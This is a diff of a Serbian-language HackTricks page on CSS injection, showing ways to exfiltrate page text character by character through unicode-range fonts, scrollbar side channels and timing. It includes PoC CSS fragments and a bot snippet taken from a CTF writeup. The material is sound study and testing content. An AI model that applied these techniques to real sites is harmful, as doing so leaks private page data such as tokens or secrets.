Faze prelaska karaktera bi se pojavile na sledeći način:
|
||||
Faze tranzicije karaktera bi izgledale ovako:
|
||||
|
||||
**C**\
|
||||
ADB
|
||||
@ -273,15 +309,15 @@ B
|
||||
|
||||
**CADB**
|
||||
|
||||
Tokom ovog prelaska, koristi se **unicode-range trik** da se identifikuje svaki novi karakter dok se pridružuje prefiksu. To se postiže prebacivanjem fonta na Comic Sans, koji je znatno viši od podrazumevanog fonta, što izaziva pojavu vertikalne trake za pomeranje. Pojava ove trake za pomeranje indirektno otkriva prisustvo novog karaktera u prefiksu.
|
||||
Tokom ove tranzicije, koristi se **unicode-range trick** da se identifikuje svaki novi karakter kada se pridruži prefiksu. Ovo se postiže promenom fonta u Comic Sans, koji je znatno viši od default fonta, što posredno izaziva pojavu vertikalnog scrollbar-a. Pojava ovog scrollbar-a indirektno otkriva prisustvo novog karaktera u prefiksu.
|
||||
|
||||
Iako ova metoda omogućava detekciju jedinstvenih karaktera dok se pojavljuju, ne specificira koji karakter se ponavlja, samo da je do ponavljanja došlo.
|
||||
Iako ova metoda omogućava detekciju jedinstvenih karaktera kako se pojavljuju, ona ne specificira koji karakter se ponavlja — samo da je došlo do ponavljanja.
|
||||
|
||||
> [!NOTE]
|
||||
> U suštini, **unicode-range se koristi za detekciju karaktera**, ali pošto ne želimo da učitamo spoljašnji font, moramo pronaći drugi način.\
|
||||
> Kada je **karakter** **pronađen**, on dobija unapred instalirani **Comic Sans font**, koji **čini** karakter **većim** i **pokreće traku za pomeranje** koja će **otkriti pronađeni karakter**.
|
||||
> [!TIP]
|
||||
> U suštini, **unicode-range is used to detect a char**, ali pošto ne želimo da učitavamo eksterni font, treba naći drugi način.\
|
||||
> Kada je **char** **found**, njemu se dodeljuje pre-instalirani **Comic Sans font**, koji **čini** char **većim** i **pokreće scroll bar** koji će **leak the found char**.
|
||||
|
||||
Check the code extracted from the PoC:
|
||||
Proverite kod izvučen iz PoC:
|
||||
```css
|
||||
/* comic sans is high (lol) and causes a vertical overflow */
|
||||
@font-face {
|
||||
@ -706,17 +742,17 @@ div::-webkit-scrollbar:vertical {
|
||||
background: blue var(--leak);
|
||||
}
|
||||
```
|
||||
### Ekstrakcija tekstualnog čvora (III): curenje charset-a sa podrazumevanjem fonta skrivajući elemente (ne zahteva spoljne resurse) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Reference:** Ovo je pomenuto kao [neuspešno rešenje u ovom izveštaju](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Reference:** Ovo je pomenuto kao [neuspešno rešenje u ovom writeupu](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
Ovaj slučaj je veoma sličan prethodnom, međutim, u ovom slučaju cilj pravljenja specifičnih **karaktera većim od drugih je da se sakrije nešto** poput dugmeta koje ne bi trebalo da bude pritisnuto od strane bota ili slike koja se neće učitati. Tako bismo mogli meriti akciju (ili nedostatak akcije) i znati da li je specifičan karakter prisutan unutar teksta.
|
||||
Ovaj slučaj je veoma sličan prethodnom, međutim, ovde je cilj da određeni **znakovi budu veći od drugih kako bi se nešto sakrilo** — na primer dugme koje bot ne bi trebalo da pritisne ili slika koja se neće učitati. Tako možemo izmeriti akciju (ili izostanak akcije) i saznati da li se određeni znak nalazi u tekstu.
|
||||
|
||||
### Ekstrakcija tekstualnog čvora (III): curenje charset-a putem vremenskog keširanja (ne zahteva spoljne resurse) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Reference:** Ovo je pomenuto kao [neuspešno rešenje u ovom izveštaju](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Reference:** Ovo je pomenuto kao [neuspešno rešenje u ovom writeupu](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
U ovom slučaju, mogli bismo pokušati da otkrijemo da li je karakter u tekstu učitavanjem lažnog fonta sa iste lokacije:
|
||||
U ovom slučaju mogli bismo pokušati leak da bismo utvrdili da li se određeni znak nalazi u tekstu učitavanjem lažnog fonta iz same origin:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
@ -724,15 +760,15 @@ src: url(/static/bootstrap.min.css?q=1);
|
||||
unicode-range: U+0041;
|
||||
}
|
||||
```
|
||||
Ako postoji podudaranje, **font će biti učitan sa `/static/bootstrap.min.css?q=1`**. Iako se neće učitati uspešno, **pregledač bi trebao da ga kešira**, i čak i ako nema keša, postoji **304 not modified** mehanizam, tako da bi **odgovor trebao biti brži** od drugih stvari.
|
||||
If there is a match, the **font will be loaded from `/static/bootstrap.min.css?q=1`**. Although it won’t load successfully, the **browser should cache it**, and even if there is no cache, there is a **304 not modified** mechanism, so the **response should be faster** than other things.
|
||||
|
||||
Međutim, ako razlika u vremenu između keširanog odgovora i onog koji nije keširan nije dovoljno velika, ovo neće biti korisno. Na primer, autor je pomenuo: Međutim, nakon testiranja, otkrio sam da je prvi problem to što se brzina ne razlikuje mnogo, a drugi problem je što bot koristi `disk-cache-size=1` flag, što je zaista promišljeno.
|
||||
However, if the time difference of the cached response from the non-cached one isn't big enough, this won't be useful. For example, the author mentioned: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the `disk-cache-size=1` flag, which is really thoughtful.
|
||||
|
||||
### Ekstrakcija tekstualnog čvora (III): curenje charset-a vremenskim učitavanjem stotina lokalnih "fontova" (ne zahtevajući spoljne resurse) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Reference:** Ovo se pominje kao [neuspešno rešenje u ovom izveštaju](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Reference:** O ovome se pominje kao [neuspešno rešenje u ovom writeupu](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
U ovom slučaju možete naznačiti **CSS da učita stotine lažnih fontova** sa iste domene kada dođe do podudaranja. Na ovaj način možete **meriti vreme** koje je potrebno i otkriti da li se karakter pojavljuje ili ne sa nečim poput:
|
||||
In this case you can indicate **CSS to load hundreds of fake fonts** from the same origin when a match occurs. This way you can **measure the time** it takes and find out if a char appears or not with something like:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
@ -741,13 +777,13 @@ src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
|
||||
unicode-range: U+0041;
|
||||
}
|
||||
```
|
||||
I kod bota izgleda ovako:
|
||||
A kod bota izgleda ovako:
|
||||
```python
|
||||
browser.get(url)
|
||||
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
|
||||
time.sleep(30)
|
||||
```
|
||||
Dakle, ako se font ne poklapa, očekuje se da će vreme odgovora prilikom posete botu biti otprilike 30 sekundi. Međutim, ako dođe do poklapanja fonta, biće poslato više zahteva za preuzimanje fonta, što će uzrokovati kontinuiranu aktivnost mreže. Kao rezultat toga, biće potrebno više vremena da se zadovolji uslov zaustavljanja i primi odgovor. Stoga se vreme odgovora može koristiti kao indikator za određivanje da li postoji poklapanje fonta.
|
||||
Dakle, ako font ne odgovara, očekivano je da će vreme odgovora prilikom posećivanja bota biti otprilike 30 sekundi. Međutim, ako postoji poklapanje fonta, biće poslato više zahteva za preuzimanje fonta, što će izazvati kontinuiranu mrežnu aktivnost. Kao rezultat toga, biće potrebno više vremena da se zadovolji uslov za zaustavljanje i primi odgovor. Zato se vreme odgovora može koristiti kao indikator za utvrđivanje da li postoji poklapanje fonta.
|
||||
|
||||
## References
|
||||
|
||||
@ -755,5 +791,11 @@ Dakle, ako se font ne poklapa, očekuje se da će vreme odgovora prilikom posete
|
||||
- [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
|
||||
- [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
|
||||
- [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
|
||||
- [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration)
|
||||
- [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda)
|
||||
- [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php)
|
||||
- [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if)
|
||||
- [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr)
|
||||
- [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user